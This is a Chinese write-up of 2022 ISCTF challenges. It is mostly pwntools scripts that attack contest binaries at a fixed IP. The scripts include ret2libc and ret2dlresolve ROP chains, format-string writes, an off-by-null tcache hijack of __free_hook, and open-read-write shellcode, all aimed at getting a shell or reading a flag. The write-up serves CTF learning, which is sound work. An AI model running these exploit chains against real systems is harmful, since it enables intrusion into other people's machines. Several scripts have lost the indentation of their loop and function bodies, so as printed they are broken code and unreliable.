2022-ISCTF-部分MISC和PWN

news2024/11/28 18:45:01

misc

两层编码

第一层 sha256掩码爆破
第二层 base64解码找到key

import string,sys
from hashlib import sha256
from multiprocessing import Process
from Crypto.Util.number import *
from pwn import *
import base64
from primefac import *
context(log_level='debug')
io = remote("120.79.18.34","20389")
table = (string.ascii_letters + string.digits).encode()
prefix = [string.ascii_lowercase.encode()[0:13],string.ascii_lowercase.encode()[13:26],string.ascii_uppercase.encode()[0:13],string.ascii_uppercase.encode()[13:26],string.digits.encode()]

def task(index,c,part):
    for i in prefix[index]:
        for j in table:
            for k in table:
                for l in table:
                    raw = i.to_bytes(1, 'big')
                    raw += j.to_bytes(1, 'big')
                    raw += k.to_bytes(1, 'big')
                    raw += l.to_bytes(1, 'big')
                    raw += part.encode()
                    if sha256(raw).hexdigest() == c:
                         
                        raw = raw.decode()
                        print(raw[0:4])
                        io.recvuntil("[+] Plz tell me XXXX: ")
                        io.sendline(raw[0:4])
if __name__ == '__main__':
    io.recvuntil("[+] sha256(XXXX+")
    part=io.recvuntil(") == ",drop=True).decode()
    c = io.recvline().strip(b"\n").decode()
    for i in range(5):
        p=Process(target=task,args=(i,c,part))
        p.start()
    sleep(3)
    io.recvuntil("U ha^4 f1v4 s4c0nds to s0lve the pr0bl4m!\n")
    text=io.recvuntil("\n",drop=True)
    decodestr = base64.b64decode(text)
    a = decodestr.find(b"key{")
    b = decodestr.find(b"}")
    key = ''
    for i in range (a,b+1):
        key += chr(decodestr[i])
    io.recvuntil("can you find my key?")
    io.sendline(key)
    io.interactive()

层层迷宫

递归算法循环走250次迷宫

from pwn import *
import sys
sys.setrecursionlimit(100000000)
context(endian='little',os='linux',arch='amd64',log_level='debug')

sh = remote('120.79.18.34','20876')

s       = lambda data               :sh.send(data)
sa      = lambda delim,data         :sh.sendafter(delim, data)
sl      = lambda data               :sh.sendline(data)
sla     = lambda delim,data         :sh.sendlineafter(delim, data)
r       = lambda num=4096           :sh.recv(num)
ru      = lambda delims         :sh.recvuntil(delims)
ruu     = lambda delims         :sh.recvuntil(delims,drop=True)
itr     = lambda                    :sh.interactive()
uu32    = lambda data               :u32(data.ljust(4,'\0'))
uu64    = lambda data               :u64(data.ljust(8,'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))
def dbg():
        gdb.attach(sh)

dirs=[(0,1),(1,0),(0,-1),(-1,0)] 

 
def mark(maze,pos):   
  
    maze[pos[0]][pos[1]]=2
 
def passable(maze,pos):  
  
    return maze[pos[0]][pos[1]]==0
 
def find_path(maze,pos,end,path):
    mark(maze,pos)
    if pos==end:
        print(pos,end=" ") 
        path.append(pos)
        return True
    for i in range(4):      
        nextp=pos[0]+dirs[i][0],pos[1]+dirs[i][1]
        
       
        if passable(maze,nextp):         
            if find_path(maze,nextp,end,path): 
                print(pos,end=" ")
                path.append(pos)
                return True
    return False
def fl(maze,start,end):   
    path=[]               
    find_path(maze,start,end,path)
    #maze_solver(maze,start,end)
    #see_path(maze,path)
    key=''
    ppp = [0] * len(path)
    for i in range (len(path)):
        ppp[i] = path[len(path)-i-1]
    #print(path)
    #print(ppp)
      
    del path
    for i in range (len(ppp)-1):
        if ppp[i][0] > ppp[i+1][0]:
            key += 'w'
        if ppp[i][0] < ppp[i+1][0]:
            key += 's'
        if ppp[i][1] < ppp[i+1][1]:
            key += 'd'
        if ppp[i][1] > ppp[i+1][1]:
            key += 'a'
    print('key = '+key)
    #ru("plz input your way from S to E with keyboard (wasd)")
    ruu("with keyboard (wasd)")
    sl(key)
    ru('you found the way to the exit!\n')
    
     
def main():
    

    a=[]
    try:
        ruu("#")
    except Exception:
        itr()
    a.append(b' #'+ruu('\n'))
    #print(len(a[0]))
    length = (len(a[0])+1)//2
    print(length)
     
    b=[] 
    c=[]  
    
    for i in range(1,length):
        a.append(ruu('\n'))
        
    #print(len(a))
    for i in range(len(a)):
        b.append(a[i])

    #print(len(b))
    #print(a)
    #print(b)

    for i in range (len(b)):
        d=[]
        d.append(1)
        for j in range (len(b[i])):
            #print('j = ',end='')
            #print(b[i][j])
            
            if b[i][j] == ord('#'):
                d.append(1)
            if (((b[i][j] == ord('0')) or (b[i][j] == ord('S')) or ( b[i][j] == ord('E'))) and (b[i][j-1] != ord('['))):
                d.append(0)
        d.append(1)
        print(d)

        c.append(d)
    print('c = ',end='')
    print(c)
    ru("start(")
    x1=int(ruu(','),10)+1
    ru(' ')
    y1=int(ruu(')'),10)
    ru('end(')
    x2=int(ruu(','),10)+1
    ru(' ')
    y2=int(ruu(')'),10)
    print('a = ',end='')
    print(a)
    print('b = ',end='')
    print(b)
    
    start=(y1,x1)
    end = (y2,x2)
    print(start)
    print(end)
    fl(c,start,end)
i=0
while(1):
    i=i+1
    main()
    print('i = ',end='')
    print(i)

pwn

easy_ret2libc

ret2libc，printf泄露libc基地址

from pwn import *
 
context(endian='little',os='linux',arch='amd64',log_level='debug')
#sh = process('./easy_ret2libc')
sh = remote('120.79.18.34','20639')
elf=ELF('./easy_ret2libc')
libc = ELF('./libc-2.27.so')
s       = lambda data               :sh.send(data)
sa      = lambda delim,data         :sh.sendafter(delim, data)
sl      = lambda data               :sh.sendline(data)
sla     = lambda delim,data         :sh.sendlineafter(delim, data)
r       = lambda num=4096           :sh.recv(num)
ru      = lambda delims    :sh.recvuntil(delims)
itr     = lambda                    :sh.interactive()
uu32    = lambda data               :u32(data.ljust(4,'\0'))
uu64    = lambda data               :u64(data.ljust(8,'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))
def dbg():
        gdb.attach(sh)
        pause()

ru('Will you disclose the base address by using printf?')
printf_plt = elf.plt['printf']
printf_got = elf.got['printf']
main = 0x4005F7
pop_rdi_ret = 0x0000000000400723
rdi = 0x40077C
rsi=0x0000000000400721
payload = b'a'*0x48+ p64(pop_rdi_ret) + p64(rdi) + p64(rsi)+p64(printf_got)+p64(0)+p64(printf_plt) + p64(main)
s(payload)
libc_base=u64(ru('\x7f')[-6:].ljust(8,b'\x00'))-libc.sym['printf']
lg('libc_base',libc_base)

system = libc_base + libc.sym['system']
binsh=0x00000000001b3d88+libc_base
payload = b'a'*0x28  +p64(pop_rdi_ret) + p64(binsh) + p64(system) + p64(main)
s(payload)
'''
ru('i think you can pwn it\n\n')
puts_addr = u64(ru('\x7f').ljust(8,b'\x00'))
lg('puts_addr',puts_addr)
 
base =  puts_addr -  libc.sym['puts']
binsh = 0x000000000018ce57 + base
system = base + libc.sym['system']
payload = b'a'*0x68+ p64(pop_rdi_ret) + p64(binsh) + p64(system) *2
sl(payload)
'''
itr()

inequable_ret2text

格式化字符串泄露canary，之后emmm虽然题目是ret2text，但我还是用的ret2libc

from pwn import *
from LibcSearcher import LibcSearcher
context(endian='little',os='linux',arch='amd64',log_level='debug')
#sh = process('./inequable_ret2text')
sh = remote('120.79.18.34','20275')
elf=ELF('./inequable_ret2text')
 
s       = lambda data               :sh.send(data)
sa      = lambda delim,data         :sh.sendafter(delim, data)
sl      = lambda data               :sh.sendline(data)
sla     = lambda delim,data         :sh.sendlineafter(delim, data)
r       = lambda num=4096           :sh.recv(num)
ru      = lambda delims    :sh.recvuntil(delims)
itr     = lambda                    :sh.interactive()
uu32    = lambda data               :u32(data.ljust(4,'\0'))
uu64    = lambda data               :u64(data.ljust(8,'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))
def dbg():
        gdb.attach(sh)
        pause()

ru('Do you know how the strlen function stops?\n')
s('\n')
ru('Right on! So do you know what a canary is?\n')
sl('%19$p')
canary=int(r(18),16)
lg('canary',canary)
rdi=0x0000000000400903
ru("Are you ready? Let's go!\n")

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = elf.sym['main']

rsi=0x0000000000400901
payload = b'a'*0x38+p64(canary)+p64(0)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
sl(payload)
puts_addr = u64(ru('\x7f')[-6:].ljust(8,b'\x00'))
lg('puts_addr',puts_addr)
leak = puts_addr
func = 'puts'
libc = LibcSearcher(func, leak)
base = leak - libc.dump(func)
system = base + libc.dump('system')
binsh = base + libc.dump('str_bin_sh')
ru('Do you know how the strlen function stops?\n')
s('\n')
ru('Right on! So do you know what a canary is?\n')
sl('%19$p')
ru("Are you ready? Let's go!\n")
payload = b'a'*0x38+p64(canary)+p64(0)+p64(rdi+1)+p64(rdi)+p64(binsh)+p64(system)*2
sl(payload)

itr()

guess_number

猜数字，利用cdll.LoadLibrary()函数调用c语言的srand函数设置随机数种子为time(0)，之后利用rand函数生成随机数即可

from pwn import *
import random
from ctypes import *
context(endian='little',os='linux',arch='amd64',log_level='debug')
#sh = process('./guess_number')
sh = remote('120.79.18.34','20894')
elf=ELF('./guess_number')
libc = ELF('./libc-2.27.so')

eelf = cdll.LoadLibrary('./libc-2.27.so')
s       = lambda data               :sh.send(data)
sa      = lambda delim,data         :sh.sendafter(delim, data)
sl      = lambda data               :sh.sendline(data)
sla     = lambda delim,data         :sh.sendlineafter(delim, data)
r       = lambda num=4096           :sh.recv(num)
ru      = lambda delims    :sh.recvuntil(delims)
itr     = lambda                    :sh.interactive()
uu32    = lambda data               :u32(data.ljust(4,'\0'))
uu64    = lambda data               :u64(data.ljust(8,'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))
def dbg():
        gdb.attach(sh)
       
ru("Tell me your name:")
sl('0')
seed = eelf.time(0)
eelf.srand(seed)
for i in range (100):
sla("Enter your number:",str(eelf.rand()%10000+1))

itr()

nc_pwn

重定向flag内容到sh执行命令，报错输出flag

exec < flag

在这里插入图片描述

format_string

小端序存储数据，按字节输入\xef\x8f\xf7\xaa\x95\x89\xff\x3f绕过第一层判断；
格式化字符串修改内存地址上的值为197109绕过第二层判断；
输入可见字符的shellcode获得shell。

from pwn import *
from LibcSearcher import LibcSearcher
context(endian='little',os='linux',arch='amd64',log_level='debug')
#sh = process('./format_string')
sh = remote('120.79.18.34','20297')
elf=ELF('./format_string')
 
s       = lambda data               :sh.send(data)
sa      = lambda delim,data         :sh.sendafter(delim, data)
sl      = lambda data               :sh.sendline(data)
sla     = lambda delim,data         :sh.sendlineafter(delim, data)
r       = lambda num=4096           :sh.recv(num)
ru      = lambda delims    :sh.recvuntil(delims)
itr     = lambda                    :sh.interactive()
uu32    = lambda data               :u32(data.ljust(4,'\0'))
uu64    = lambda data               :u64(data.ljust(8,'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))
def dbg():
        gdb.attach(sh)
        

ru("Tell me your answer: ")
#sl('\x31\x2e\x39\x37\x31\x30\x39')
#gdb.attach(sh,'b read')
#s('1.971090')
#s('\x31\x2e\x39\x37\x31\x30\x39\x00')
#s('\x00\x39\x30\x31\x37\x39\x2e\x31')
#s('\x00'+str(90179.1))
#s('\x3F\xFF\x89\x95\xAA\xF7\x8F\xEF')
s('\xef\x8f\xf7\xaa\x95\x89\xff\x3f')
ru("Good. Next, try to rewrite a set of data.\n")
check = 0x6010BC
#payload = 'aaaaaaaa%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p'
 
payload =fmtstr_payload(22, {0x6010BC:197109}, numbwritten=0, write_size="byte")
s(payload)
ru("What's wrong with shellcode?\n")
sleep(0.01)
shellcode="Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t"
shellcode = 'Rh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t'
 
payload = 'Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t'

s(payload)
sleep(0.01)
sl('cat flag')
itr()

candy_house

相当于是个数学题，有个规律，依次输入1，2，3，4…一直到最大的数即可实现每个袋子的糖果数量相等，获得flag

from pwn import *
 
context(endian='little',os='linux',arch='amd64',log_level='debug')
#sh = process('./candy_house')
sh = remote('120.79.18.34','20491')
#elf=ELF('./candy_house')
 

 
s       = lambda data               :sh.send(data)
sa      = lambda delim,data         :sh.sendafter(delim, data)
sl      = lambda data               :sh.sendline(data)
sla     = lambda delim,data         :sh.sendlineafter(delim, data)
r       = lambda num=4096           :sh.recv(num)
ru      = lambda delims    :sh.recvuntil(delims,drop=True)
itr     = lambda                    :sh.interactive()
uu32    = lambda data               :u32(data.ljust(4,'\0'))
uu64    = lambda data               :u64(data.ljust(8,'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))
def dbg():
        gdb.attach(sh)


sla('Press anykey to start','\n')
a=[3, 3, 3, 1, 2]
for i in a:
   sla('Your choice(1-n, 0 to restart): ',str(i))
ru("candie(s) in bags:\x1B[0m")
ru('1 2 ')
 
num = []
num.append(1)
num.append(2)
 
i=0

while 1:
s=ru(' ')
if(len(s)>3):
break
num.append(int(s,10))  
print(num[i])

i=i+1
num.append(num[i+1]+1)  
for i in num:
    sla(': ',str(i))
print(num)
itr()

csu

emmm题目虽然是csu，可能想到ret2csu，但我看ida没有输出函数，直接用的ret2dlresolve
libc用的是2.27

from pwn import *
 
context(endian='little',os='linux',arch='amd64',log_level='debug')
#sh = process('./pwn')
sh = remote('120.79.18.34','20551')
elf=ELF('./pwn')
libc = ELF('./libc-2.27.so')

 
s       = lambda data               :sh.send(data)
sa      = lambda delim,data         :sh.sendafter(delim, data)
sl      = lambda data               :sh.sendline(data)
sla     = lambda delim,data         :sh.sendlineafter(delim, data)
r       = lambda num=4096           :sh.recv(num)
ru      = lambda delims    :sh.recvuntil(delims)
itr     = lambda                    :sh.interactive()
uu32    = lambda data               :u32(data.ljust(4,'\0'))
uu64    = lambda data               :u64(data.ljust(8,'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))
def dbg():
        gdb.attach(sh)
'''
fun_addr = 0x400651
bss=0x0600A90 
mprotect=elf.plt['mprotect']
read_plt = elf.plt['read']  
read_got = elf.got['read']
pop_rdi = 0x00000000004006e3  
pop_rsi = 0x00000000004006e1  
payload = b'a'*0x58 + p64(pop_rdi+1)+p64(pop_rdi) + p64(bss + 0x20) + p64(pop_rsi) + p64(0x1000) + p64(0) + p64(mprotect)  
payload+=p64(pop_rsi) + p64(bss + 0x100) + p64(0) + p64(pop_rdi) + p64(0) + p64(read_plt) + p64(bss + 0x20)
s(payload)
sleep(0.1)
shellcode = b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05'
s(shellcode)
'''
bss=0x0600A90
fun_addr = 0x400651
read_plt = elf.plt['read']  
read_got = elf.got['read']
l_addr = libc.sym['system'] - libc.sym['read']  
r_offset = bss + l_addr * -1  
if l_addr < 0:  
   l_addr = l_addr + 0x10000000000000000  
pop_rdi = 0x00000000004006e3  
pop_rsi = 0x00000000004006e1  
plt_load = 0x04004A6
 
payload = b'a'*0x58 + p64(pop_rsi) + p64(bss + 0x100) + p64(0) + p64(pop_rdi) + p64(0) + p64(read_plt) + p64(fun_addr)  
 
 
sl(payload)

dynstr =0x400348
fake_link_map_addr = bss + 0x100 
fake_dyn_strtab_addr = fake_link_map_addr + 0x8  
fake_dyn_strtab = p64(0) + p64(dynstr)
fake_dyn_symtab_addr = fake_link_map_addr + 0x18  
fake_dyn_symtab = p64(0) + p64(read_got - 0x8) 
fake_dyn_rel_addr = fake_link_map_addr + 0x28  
fake_dyn_rel = p64(0) + p64(fake_link_map_addr + 0x38)   
fake_rel = p64(r_offset) + p64(0x7) + p64(0)  
fake_link_map = p64(l_addr)   
fake_link_map += fake_dyn_strtab  
fake_link_map += fake_dyn_symtab  
fake_link_map += fake_dyn_rel  
fake_link_map += fake_rel  
fake_link_map = fake_link_map.ljust(0x68,b'\x00')  
fake_link_map += p64(fake_dyn_strtab_addr)  
fake_link_map += p64(fake_dyn_symtab_addr) 
fake_link_map += b'/bin/sh'.ljust(0x80,b'\x00')   
fake_link_map += p64(fake_dyn_rel_addr)  
sleep(0.1)
sl(fake_link_map)
sleep(0.1)

 
rop = b'A'*0x58 + p64(pop_rdi) + p64(fake_link_map_addr + 0x78)  + p64(plt_load) + p64(fake_link_map_addr) + p64(0)
sl(rop)

itr()

nothing_to_do

这个题还是ret2dlresolve，试了很多libc，最后是2.31-0ubuntu9.7_amd64/libc-2.31.so

from pwn import *
 
context(endian='little',os='linux',arch='amd64',log_level='debug')
#sh = process('./nothing_to_do')
sh = remote('120.79.18.34','20450')
elf=ELF('./nothing_to_do')
'''
./libc-2.27.so
/home/pwn/tools/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so
/home/pwn/tools/glibc-all-in-one/libs/2.23-0ubuntu10_amd64/libc-2.23.so
/home/pwn/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so
/home/pwn/tools/glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/libc-2.27.so
/home/pwn/tools/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so
/home/pwn/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so
/home/pwn/tools/glibc-all-in-one/libs/2.29-0ubuntu2_amd64/libc-2.29.so
/home/pwn/tools/glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc-2.31.so




'''
binary  ='/home/pwn/tools/glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc-2.31.so'
libc = ELF(binary)
 
s       = lambda data               :sh.send(data)
sa      = lambda delim,data         :sh.sendafter(delim, data)
sl      = lambda data               :sh.sendline(data)
sla     = lambda delim,data         :sh.sendlineafter(delim, data)
r       = lambda num=4096           :sh.recv(num)
ru      = lambda delims    :sh.recvuntil(delims)
itr     = lambda                    :sh.interactive()
uu32    = lambda data               :u32(data.ljust(4,'\0'))
uu64    = lambda data               :u64(data.ljust(8,'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))
def dbg():
        gdb.attach(sh)
 
bss=0x000404040
fun_addr = 0x40119D
read_plt = elf.plt['read']  
read_got = elf.got['read']
l_addr = libc.sym['system'] - libc.sym['read']  
r_offset = bss + l_addr * -1  
if l_addr < 0:  
   l_addr = l_addr + 0x10000000000000000  
pop_rdi = 0x0000000000401253  
pop_rsi = 0x0000000000401251  
plt_load = 0x401026
 
payload = b'a'*0x28 + p64(pop_rsi) + p64(bss + 0x100) + p64(0) + p64(pop_rdi) + p64(0) + p64(read_plt) + p64(fun_addr)  
 
 
sl(payload)

dynstr =0x400490
fake_link_map_addr = bss + 0x100 
fake_dyn_strtab_addr = fake_link_map_addr + 0x8  
fake_dyn_strtab = p64(0) + p64(dynstr)
fake_dyn_symtab_addr = fake_link_map_addr + 0x18  
fake_dyn_symtab = p64(0) + p64(read_got - 0x8) 
fake_dyn_rel_addr = fake_link_map_addr + 0x28  
fake_dyn_rel = p64(0) + p64(fake_link_map_addr + 0x38)   
fake_rel = p64(r_offset) + p64(0x7) + p64(0)  
fake_link_map = p64(l_addr)   
fake_link_map += fake_dyn_strtab  
fake_link_map += fake_dyn_symtab  
fake_link_map += fake_dyn_rel  
fake_link_map += fake_rel  
fake_link_map = fake_link_map.ljust(0x68,b'\x00')  
fake_link_map += p64(fake_dyn_strtab_addr)  
fake_link_map += p64(fake_dyn_symtab_addr) 
fake_link_map += b'/bin/sh'.ljust(0x80,b'\x00')   
fake_link_map += p64(fake_dyn_rel_addr)  
sleep(0.1)
s(fake_link_map)
sleep(0.1)

 
rop = b'A'*0x28 + p64(pop_rdi) + p64(fake_link_map_addr + 0x78)  + p64(plt_load) + p64(fake_link_map_addr) + p64(0)
sl(rop)

itr()

null

看了一下保护全开，2.27的off-by-null，伪造chunk实现堆块重叠，进行tcache bin attack 劫持free_hook为system函数

from pwn import *
import random
from ctypes import *
context(endian='little',os='linux',arch='amd64',log_level='debug')
#sh = process('./null')
sh = remote('120.79.18.34','20968')
elf=ELF('./null')
libc = ELF('/home/pwn/tools/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so')

eelf = cdll.LoadLibrary('./libc-2.27.so')
s       = lambda data               :sh.send(data)
sa      = lambda delim,data         :sh.sendafter(delim, data)
sl      = lambda data               :sh.sendline(data)
sla     = lambda delim,data         :sh.sendlineafter(delim, data)
r       = lambda num=4096           :sh.recv(num)
ru      = lambda delims    :sh.recvuntil(delims)
itr     = lambda                    :sh.interactive()
uu32    = lambda data               :u32(data.ljust(4,'\0'))
uu64    = lambda data               :u64(data.ljust(8,'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))
def dbg():
        gdb.attach(sh)
        pause()
def add(index,size):
sla(":",'1')
sla('Index: ',str(index))
sla("Size ",str(size))
def edit(index,text):
sla(":",'2')
sla('Index: ',str(index))
sla("Content: ",text)
def show(index):
sla(":",'3')
sla('Index: ',str(index))
def free(index):
sla(":",'4')
sla('Index: ',str(index))

for i in range(15): #0~10
add(i,0xf8)
for i in range(14):
free(i)

add(31,0x18)
show(31)
ru('Content: ')
libc_base = u64(ru('\x7f')[-6:].ljust(8,b'\x00'))  -0x3ec160+0x10
 
system = libc_base + libc.sym['system']
 
free_hook = libc_base + libc.sym['__free_hook']
malloc_hook = libc_base + libc.sym['__malloc_hook']
lg('libc_base',libc_base)

for i in range(7):  
add(i,0xf8)

add(7,0xf8)
edit(7,'\x00'*(0xf8-1))
add(8,0x18)
edit(8,'\x00'*(0x18-1))
add(9,0xf8)
edit(9,'\x00'*(0xf8-1))
add(10,0x18)
for i in range(7):
free(i)



edit(31,b'a'*0x10+b'\x00'*7)

free(7)

free(8)

add(8,0x18)
 
edit(8,b'a'*0x10+p64(0x120))

free(9)

for i in range(7):
add(i,0xf8)

add(11,0xf8)
add(12,0x18)
free(8)
edit(12,p64(free_hook))
add(13,0x18)
edit(13,'/bin/sh\x00')

add(16,0x18)
 
edit(16,p64(system))
free(13)


itr()

babycode

输入-2147483648绕过if判断，只能输入0xa字节，且保护全开，不能溢出

观察汇编代码段，当程序执行到call rdx时，rax为0，rdx为page的首地址0x400000，rsi为0x400000，我们可以将rsi加0x80，之后利用syscall调用read函数，就可以读取很多数据到0x400080处，把shellcode写入0x400080起始的地址，再jmp rsi即可跳转到0x400080执行shellcode，因为程序开了沙箱，禁用了execve函数，我们可以通过orw获得flag

from pwn import *
 
context(endian='little',os='linux',arch='amd64',log_level='debug')
 
sh = remote('120.79.18.34','20511')
#ssh=process('./babycode')
s       = lambda data               :sh.send(data)
sa      = lambda delim,data         :sh.sendafter(delim, data)
sl      = lambda data               :sh.sendline(data)
sla     = lambda delim,data         :sh.sendlineafter(delim, data)
r       = lambda num=4096           :sh.recv(num)
ru      = lambda delims    :sh.recvuntil(delims,drop=True)
itr     = lambda                    :sh.interactive()
uu32    = lambda data               :u32(data.ljust(4,'\0'))
uu64    = lambda data               :u64(data.ljust(8,'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))
def dbg():
        gdb.attach(sh)

shellcode2=asm('''
mov rax,0x67616c66
push rax

mov rdi,rsp
mov rsi,0
mov rdx,0
mov rax,2
syscall

mov rdi,rax
mov rsi,rsp
mov rdx,1024
mov rax,0
syscall

mov rdi,1
mov rsi,rsp
mov rdx,rax
mov rax,1
syscall

mov rdi,0
mov rax,60
syscall
''')
shellcode=asm('''
mov si,0x80
syscall
jmp rsi
''')
#read(0,page,0xa)
#read(0,page,page)
#call page

ru('input a number . honey~')
sl('-2147483648')
sleep(0.01)
#shellcode = b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05'
#gdb.attach(sh)
#pause()
sl('')
ru('now enjoy!')
s(shellcode)
sleep(0.01)
s(shellcode2)
 
print(len(shellcode))
print(shellcode)
print(len(shellcode2))
 
itr()

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/3599.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！

相关文章

【STL】容器 - set和map的使用

【STL】容器 - set和map的使用

目录 前言 一.键值对 1.在SGI - STL中对键值对的定义: 2.make_pair 二.set 1.set的概念与注意事项 2.set的使用(常用接口) <1>.构造函数 <2>.迭代器与范围for <3>.插入和查找 <4>.删除erase <5>.计数count 三.map 1.map的概念与注…
阅读更多...
洛谷千题详解 | P1012 [NOIP1998 提高组] 拼数【C++、Java语言】

洛谷千题详解 | P1012 [NOIP1998 提高组] 拼数【C++、Java语言】

博主主页&#xff1a;Yu仙笙 专栏地址&#xff1a;洛谷千题详解 目录 题目描述 输入格式 输出格式 输入输出样例 解析&#xff1a; C源码&#xff1a; C源码2&#xff1a; C源码3&#xff1a; Java源码&#xff1a; ---------------------------------------------------------…
阅读更多...
element-ui upload图片上传组件使用

element-ui upload图片上传组件使用

图片上传前端收集 数据 再调用接口发送到后端 组件标签内的参数&#xff1a; 参数说明类型可选值默认值action必选参数&#xff0c;上传的地址string——headers设置上传的请求头部object——multiple是否支持多选文件boolean——data上传时附带的额外参数object——name上传…
阅读更多...
【数据结构】链表OJ第一篇 —— 移除链表元素 反转链表 合并两个有序链表

【数据结构】链表OJ第一篇 —— 移除链表元素 反转链表 合并两个有序链表

文章目录0. 前言1. 移除链表元素2. 反转链表3. 合并两个有序链表4. 结语0. 前言 上篇博客中&#xff0c;我们学习了实现了单链表。但是仅仅实现并不算掌握&#xff0c;所以我们需要做些题目来练习巩固。而从今天开始的几期&#xff0c;anduin 都会为大家带来链表OJ题&#xff…
阅读更多...
在Linux环境下VScode中配置ROS、PCL和OpenCV开发环境记录

在Linux环境下VScode中配置ROS、PCL和OpenCV开发环境记录

一.安装必要的插件 打开VScode&#xff0c;在开展中安装CMake、CMake Tools&#xff0c;ROS和catkin-tools插件&#xff0c;截图如下&#xff0c;安装后重新打开VScode插件生效。 二.创建ROS工作空间 在选择的路径下&#xff0c;打开终端创建工作空间&#xff0c;具体命令如下…
阅读更多...
【概率论笔记】正态分布专题

【概率论笔记】正态分布专题

文章目录一维正态分布多维正态分布n维正态分布二维正态分布一维正态分布 设X~N(μ,σ2)X\text{\large\textasciitilde}N(\mu,\sigma^2)X~N(μ,σ2)&#xff0c;则XXX的概率密度为f(x)12πσe−(x−μ)22σ2f(x)\frac{1}{\sqrt{2\pi}\sigma}e^{-\frac{(x-\mu)^2}{2\sigma^2}}f(…
阅读更多...
WXML模板语法

WXML模板语法

文章目录1、数据绑定1.1 数据绑定的基本原则1.2在data中定义页面的数据1.3 Mustache语法的格式1.4 Mustache语法的应用场景1.5 算数运算2、事件绑定2.1 小程序常用的事件2.2事件对象的属性列表2.3 target和currentTarget的区别2.4 <font colorred>bindtap的语法格式2.5 在…
阅读更多...
狗厂员工来面试本想难为一下，结果被虐得连console.log也不敢写了

狗厂员工来面试本想难为一下，结果被虐得连console.log也不敢写了

这次说到的面试题是关于node服务端内存溢出的问题&#xff0c;狗厂员工来面试本想难为一下&#xff0c;现在我连console.log也不敢写了 关于这道node内存溢出的问题&#xff0c;大哥从以下几个方面讲的&#xff0c;讲完我觉得自己得到了升华&#xff0c;现在搞得连代码也快不敢…
阅读更多...
2.24 OrCAD Cadence16.6怎么更改原理图中做好的库文件？

2.24 OrCAD Cadence16.6怎么更改原理图中做好的库文件？

笔者电子信息专业硕士毕业&#xff0c;获得过多次电子设计大赛、大学生智能车、数学建模国奖&#xff0c;现就职于南京某半导体芯片公司&#xff0c;从事硬件研发&#xff0c;电路设计研究。对于学电子的小伙伴&#xff0c;深知入门的不易&#xff0c;特开次博客交流分享经验&a…
阅读更多...
FPGA代码设计规范一些探讨

FPGA代码设计规范一些探讨

代码设计规范的重要性 经过一段的工作积累已经慢慢进入了提高和进阶的阶段&#xff0c;在这篇博客里多聊一聊在现实工作中的话题&#xff0c;比如代码规范以及如何尽快接手前人代码&#xff0c;快速定位项目问题。 显然每个FPGA工程师的设计理念和代码风格很多情况下有一些差别…
阅读更多...
python 基于PHP+MySQL的学生成绩管理系统

python 基于PHP+MySQL的学生成绩管理系统

学生成绩管理是每一个学校都会面临的一个问题,传统的管理模式已经明显到和时代不同步。通过我对当前学校成绩管理的需求和自己的实习经验整理出了一个能够满足大多数学校的学生成绩管理系统。本系统分为管理人员,教师和学生三种用户,每种用户各负责其一部分功能然后通过他们的整…
阅读更多...
